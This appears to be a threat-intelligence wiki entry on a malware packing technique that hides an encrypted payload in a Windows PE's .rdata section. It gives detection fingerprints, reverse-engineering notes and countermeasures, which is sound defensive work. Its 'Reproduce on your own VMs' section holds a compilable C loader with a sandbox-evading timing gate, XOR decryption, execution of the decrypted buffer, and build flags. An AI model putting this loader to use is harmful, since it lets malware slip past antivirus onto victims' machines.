typetechniquecreated2026-06-15updated2026-06-15packerobfuscationevasionpecompilermingwcode-injection

rdata-encrypted-payload-loader

Malware build pattern: the threat payload is encrypted and stored inside the .rdata section of a PE loader stub. At runtime the stub copies the ciphertext into a freshly allocated heap, decrypts it with a simple rolling-key XOR/ADD loop, fixes PE relocations, and transfers control. The outer PE imports only benign CRT and memory APIs, leaving no socket or registry strings in static analysis.

Detection / Fingerprint

  • .rdata section is disproportionately large relative to .text (often >90% of file size) and has entropy near 8.0^[pefile.txt:132]
  • .text section is tiny (~6 KB) and contains only CRT init + loader logic^[pefile.txt:92]
  • Minimal IAT: KERNEL32.dll (heap, sleep, virtual-protect) + msvcrt.dll (memcpy, memset, clock)^[pefile.txt:364-422]
  • No WinInet, WinHTTP, WS2_32, or crypt32 imports in the outer binary
  • Version-info masquerade is common but not mandatory

Implementation Patterns Observed

Stage 1 — Timing gate

The loader calls clock(), Sleep(1000), then clock() again and aborts if the delta is too small.^[r2:fcn.0040155b] This defeats emulators that fast-forward sleep calls.

Stage 2 — Stack probe + heap allocation

The loader probes the stack in 0x1000-byte decrements to commit a large local buffer, then allocates a private heap (HeapCreate + HeapAlloc) for the decrypted payload.^[r2:fcn.0040155b]

Stage 3 — Section copy

The encrypted payload is memcpy'd from .rdata (at image base + section VA) into the heap buffer. The size is usually the full .rdata virtual size (~610 KB in observed sample).^[r2:fcn.0040155b]

Stage 4 — Decryption

A compact byte-wise loop (e.g., fcn.00401520) performs:

for (i = 0; i < len; i++) {
    buf[i] ^= key;
    key += delta;
    if (key >= limit) key = delta;
}

^[r2:fcn.00401520] Key, delta, and limit are small constants (often < 0x100) pushed as stack arguments before the decrypt call.

Stage 5 — Relocation fixups

The loader reuses its own MinGW pseudo-relocation engine (fcn.00401ae0) or a custom one to patch the decrypted payload's relocation table and call VirtualProtect to mark pages executable.^[r2:fcn.00401ae0]

Stage 6 — Transfer of control

After decryption and fixups, the loader makes an indirect call into the payload entry point. The inner payload then resolves its own imports and performs the actual malicious work.

Reproduce on your own VMs

Toolchain

  • MinGW-w64 GCC 10.3.0 (i686-w64-mingw32-gcc)
  • Target: PE32 (-m32 or cross-compiler), -mwindows

Working source skeleton

#include <windows.h>
#include <stdio.h>
#include <time.h>

// Embed a second PE or shellcode as a blob in .rdata
extern const unsigned char payload[];
extern const size_t payload_len;

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
    // Timing gate
    clock_t t1 = clock();
    Sleep(1000);
    if ((clock() - t1) < 1700) return 1;

    // Allocate heap
    HANDLE heap = HeapCreate(0, 0x100000, 0);
    LPVOID buf = HeapAlloc(heap, 0, payload_len);
    memcpy(buf, payload, payload_len);

    // Decrypt: XOR with rolling key
    unsigned char key = 0x3e, delta = 3, limit = 8;
    for (size_t i = 0; i < payload_len; i++) {
        ((unsigned char*)buf)[i] ^= key;
        key += delta;
        if (key >= limit) key = delta;
    }

    // Fix relocs and VirtualProtect (omitted for brevity)
    // ...

    // Execute
    ((void(*)())buf)();
    return 0;
}

Verification step

Compile with i686-w64-mingw32-gcc -O2 -s -mwindows loader.c payload.o -o repro.exe. Run strings repro.exe and confirm no payload strings leak. Compare entropy of .rdata vs .text using pefile or r2 -qc 'iS'.rdata should be near 8.0 while .text is below 6.0.

What you'll learn

How a 6 KB loader can carry a 600 KB encrypted payload with zero static indicators of malicious behavior. The detection gap is between static and dynamic analysis — the outer binary looks like a benign utility until it decrypts and jumps.

Defensive Countermeasures

  • Entropy-based hunting: Flag PE files where a single data section exceeds 500 KB with entropy > 7.8 and .text < 10 KB.
  • API hooking: Monitor HeapCreate + HeapAlloc + VirtualProtect sequences in processes with minimal IAT.
  • Emulation tuning: Ensure sandbox Sleep fast-forward is randomized and the clock() delta test is not bypassed.
  • Memory scanning: Scan freshly allocated heap regions for MZ headers shortly after VirtualProtect transitions to RWX.

Pages where observed

  • /intel/analyses/e79a525e7677dfa422e529c390adb02c6250edb0e22f0666e3e7302ff27d8348.html — MinGW-w64 x86 variant with clock/Sleep gate, rolling-XOR decryption, and Orion Iucs Digital masquerade.
  • uniqfile — umbrella entity that groups heterogeneous samples under the uniq.file OpenCTI label.

Related Techniques

  • version-info-masquerade — frequently paired with this pattern to make the outer PE look like a legitimate utility.